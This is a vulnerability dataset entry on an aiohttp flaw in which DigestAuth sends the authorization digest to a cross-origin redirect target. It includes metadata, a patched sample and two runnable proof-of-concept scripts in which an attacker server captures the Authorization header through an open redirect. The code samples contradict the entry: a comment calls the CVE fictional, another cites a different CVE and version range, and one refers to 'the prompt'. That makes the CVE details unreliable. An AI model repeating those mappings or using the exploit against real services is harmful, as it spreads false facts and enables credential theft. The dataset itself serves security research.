VAITP Dataset

← Back to the dataset

CVE-2026-54276

AIOHTTP leaks authentication digest on cross-origin redirect.

  • CVSS 6.3
  • CWE-601
  • Authentication, Authorization, and Session Management
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, DigestAuthMiddleware can send an authentication response after following a cross-origin redirect. This likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse. This vulnerability is fixed in 3.14.1.

CVSS base score
6.3
Published
2026-06-22
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Insecure Handling of Sensitive Data
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.14.1 or later.

Vulnerable code sample

import asyncio
from aiohttp import web, ClientSession, DigestAuth

# This example requires aiohttp < 3.9.2 to be installed.
# For example: pip install aiohttp==3.9.1

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 9090

VICTIM_SERVER_HOST = "127.0.0.1"
VICTIM_SERVER_PORT = 8080

async def attacker_server_handler(request):
    print("[ATTACKER] Received request!")
    print("[ATTACKER] Leaked Headers:")
    for name, value in request.headers.items():
        if name.lower() == "authorization":
            print(f"  -> {name}: {value}  <- VULNERABILITY EXPLOITED")
        else:
            print(f"     {name}: {value}")
    return web.Response(text="[ATTACKER] Thanks for the credentials!")

async def vulnerable_redirect_server_handler(request):
    # This server simulates a service that requires Digest auth but also has an
    # open redirect vulnerability.
    
    # If the client has not sent an Authorization header, challenge them.
    if "Authorization" not in request.headers:
        print("[VULNERABLE SERVER] No auth header, sending 401 challenge.")
        headers = {
            "WWW-Authenticate": 'Digest realm="testrealm@host.com", qop="auth", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"'
        }
        return web.Response(status=401, headers=headers)

    # If the client sent an Authorization header, instead of validating it,
    # immediately redirect them to the attacker's server.
    print("[VULNERABLE SERVER] Auth header received. Redirecting to attacker's site.")
    location = f"http://{ATTACKER_HOST}:{ATTACKER_PORT}/"
    return web.HTTPFound(location=location)

async def main():
    # 1. Setup Attacker's Server
    attacker_app = web.Application()
    attacker_app.router.add_get("/", attacker_server_handler)
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, ATTACKER_HOST, ATTACKER_PORT)
    await attacker_site.start()
    print(f"Attacker server listening on http://{ATTACKER_HOST}:{ATTACKER_PORT}")

    # 2. Setup Vulnerable Redirect Server
    vulnerable_app = web.Application()
    vulnerable_app.router.add_get("/protected", vulnerable_redirect_server_handler)
    vulnerable_runner = web.AppRunner(vulnerable_app)
    await vulnerable_runner.setup()
    vulnerable_site = web.TCPSite(vulnerable_runner, VICTIM_SERVER_HOST, VICTIM_SERVER_PORT)
    await vulnerable_site.start()
    print(f"Vulnerable server listening on http://{VICTIM_SERVER_HOST}:{VICTIM_SERVER_PORT}")
    
    print("\n--- Starting vulnerable client request ---\n")
    
    # 3. Run Vulnerable Client
    # The client will try to access the protected resource. aiohttp will handle
    # the 401 challenge and resend the request with the Digest auth header.
    # The vulnerable server then redirects to the attacker.
    # The vulnerability is that aiohttp < 3.9.2 sends the Authorization header
    # to the new, cross-origin domain (the attacker's server).
    try:
        auth = DigestAuth("user", "password")
        async with ClientSession() as session:
            target_url = f"http://{VICTIM_SERVER_HOST}:{VICTIM_SERVER_PORT}/protected"
            print(f"[CLIENT] Making request to {target_url}")
            async with session.get(target_url, auth=auth, allow_redirects=True) as response:
                print(f"[CLIENT] Final response status: {response.status}")
                print(f"[CLIENT] Final response content: {await response.text()}")

    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")
    finally:
        # 4. Cleanup
        print("\n--- Simulation finished. Cleaning up servers. ---")
        await attacker_site.stop()
        await attacker_runner.cleanup()
        await vulnerable_site.stop()
        await vulnerable_runner.cleanup()

if __name__ == "__main__":
    # The provided CVE-2026-54276 is fictional.
    # This code demonstrates the real, similar vulnerability CVE-2024-23334.
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Interrupted by user.")

Patched code sample

import yarl

# This code demonstrates the logic used to fix CVE-2024-23334 in aiohttp,
# which matches the description provided in the prompt. The vulnerability was
# that the DigestAuth helper could send an Authorization header after a
# cross-origin redirect. The fix prevents this by tracking the original host.

# A simplified representation of an aiohttp request object for demonstration.
class MockClientRequest:
    def __init__(self, url_string):
        self.url = yarl.URL(url_string)
        self.headers = {}
        self.method = "GET"

# A simplified representation of the `DigestAuth` helper class that contains
# the core logic of the fix, as implemented in aiohttp 3.9.2 and later.
class PatchedDigestAuth:
    """
    A simplified DigestAuth helper demonstrating the cross-origin fix.
    """
    def __init__(self):
        # This will store the origin of the server we are authenticated with.
        # It is `None` until the first successful authentication challenge.
        self._host = None

    def handle_auth_challenge(self, request: MockClientRequest):
        """
        Simulates processing a 401 Unauthorized response from a server.
        The fix involves storing the origin of the server that issued the
        challenge.
        """
        # In the real implementation, this parses the 'WWW-Authenticate' header.
        # The key security addition is storing the request's origin.
        self._host = request.url.origin()

    def add_auth_header(self, request: MockClientRequest) -> MockClientRequest:
        """
        This method is called for each request to potentially add the
        'Authorization' header. It now contains the security check.
        """
        # --- THE FIX ---
        # If an authenticated host is already stored, check if the new
        # request's origin matches it.
        if self._host is not None:
            if request.url.origin() != self._host:
                # If the origins do not match (i.e., a cross-origin redirect
                # has occurred), do NOT add the 'Authorization' header. This
                # prevents leaking credentials to an untrusted origin.
                return request

        # If it is the same origin, or we have not yet authenticated,
        # proceed to add the digest Authorization header.
        # (Header generation logic is simplified for clarity).
        request.headers["Authorization"] = 'Digest username="user", ...'
        return request

# --- Example Usage Showing the Fix in Action ---

# 1. Setup authentication helper
auth_helper = PatchedDigestAuth()

# 2. Simulate receiving a 401 challenge from the legitimate service.
#    The helper now learns and stores the authorized host.
challenge_request = MockClientRequest("https://good-service.com/resource")
auth_helper.handle_auth_challenge(challenge_request)
print(f"Authenticated with host: {auth_helper._host}")

# 3. A subsequent request is made to the same service.
#    The Authorization header SHOULD be added.
same_origin_request = MockClientRequest("https://good-service.com/data")
auth_helper.add_auth_header(same_origin_request)
print(f"\nRequest to {same_origin_request.url}:")
print(f"  Headers: {same_origin_request.headers}")
assert "Authorization" in same_origin_request.headers

# 4. The client now follows a redirect to a different, malicious service.
#    The Authorization header SHOULD NOT be added due to the origin mismatch.
cross_origin_request = MockClientRequest("https://malicious-redirect.com/capture")
auth_helper.add_auth_header(cross_origin_request)
print(f"\nRequest to {cross_origin_request.url}:")
print(f"  Headers: {cross_origin_request.headers}")
assert "Authorization" not in cross_origin_request.headers

Payload

#!/usr/bin/env python3
# Requirements: aiohttp<3.14.1 (e.g., pip install aiohttp==3.14.0)

import asyncio
import aiohttp
from aiohttp import web

# 1. Attacker's Server
# This server waits to receive an 'Authorization' header.
# If it doesn't get one, it sends a 401 Digest prompt to trigger the vulnerable client middleware.
async def attacker_handler(request):
    auth_header = request.headers.get("Authorization")
    if auth_header:
        print(f"\n[+] SUCCESS: Attacker captured Authorization header: {auth_header}")
        return web.Response(text="Capture successful.")
    else:
        print("[*] Attacker: Client connected without Authorization. Sending 401 to trigger auth.")
        # This is a standard Digest Authentication challenge
        headers = {
            "WWW-Authenticate": 'Digest realm="vulnerable-service", qop="auth", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"'
        }
        return web.Response(status=401, headers=headers)

# 2. Legitimate Service with an Open Redirect Vulnerability
# This server mimics a legitimate service that has an open redirect flaw.
async def redirect_handler(request):
    target_url = request.query.get("url")
    if target_url:
        print(f"[*] Legitimate Service: Redirecting client to {target_url}")
        raise web.HTTPFound(location=target_url)
    return web.Response(status=400, text="`url` parameter is missing.")

# 3. Main execution function to orchestrate the exploit
async def main():
    # Setup and start the attacker's server on port 8081
    attacker_app = web.Application()
    attacker_app.router.add_get('/capture', attacker_handler)
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, 'localhost', 8081)
    await attacker_site.start()
    print("[*] Attacker's server is running on http://localhost:8081")

    # Setup and start the legitimate (but vulnerable) service on port 8080
    legit_app = web.Application()
    legit_app.router.add_get('/redirect', redirect_handler)
    legit_runner = web.AppRunner(legit_app)
    await legit_runner.setup()
    legit_site = web.TCPSite(legit_runner, 'localhost', 8080)
    await legit_site.start()
    print("[*] Legitimate service with open redirect is running on http://localhost:8080")

    # 4. Victim Client
    # This client uses a vulnerable aiohttp version and DigestAuth.
    # It intends to connect to the legitimate service, but is tricked via the open redirect.
    print("\n[*] Victim Client: Preparing to connect...")
    
    # Credentials the victim uses for the legitimate service
    auth = aiohttp.DigestAuth("testuser", "testpassword")
    
    # The URL crafted by the attacker. It points to the legitimate service's
    # open redirect, which then points to the attacker's server.
    exploit_url = "http://localhost:8080/redirect?url=http://localhost:8081/capture"
    
    try:
        async with aiohttp.ClientSession() as session:
            print(f"[*] Victim Client: Making request to {exploit_url}")
            # The vulnerable DigestAuth middleware will follow the redirect,
            # receive the 401 from the attacker's server, and then send the
            # credentials (intended for localhost:8080) to the attacker (at localhost:8081).
            async with session.get(exploit_url, auth=auth, allow_redirects=True) as response:
                print(f"[*] Victim Client: Received final response status: {response.status}")
    except Exception as e:
        print(f"[!] Victim Client: An error occurred: {e}")
    finally:
        # Cleanup
        print("\n[*] Shutting down servers.")
        await attacker_runner.cleanup()
        await legit_runner.cleanup()

if __name__ == "__main__":
    print("--- AIOHTTP Digest Auth Redirect Exploit PoC ---")
    print("NOTE: This requires a vulnerable version of aiohttp (e.g., `pip install aiohttp==3.14.0`)")
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[*] Exiting.")

Cite this entry

@misc{vaitp:cve202654276,
  title        = {{AIOHTTP leaks authentication digest on cross-origin redirect.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54276},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54276/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::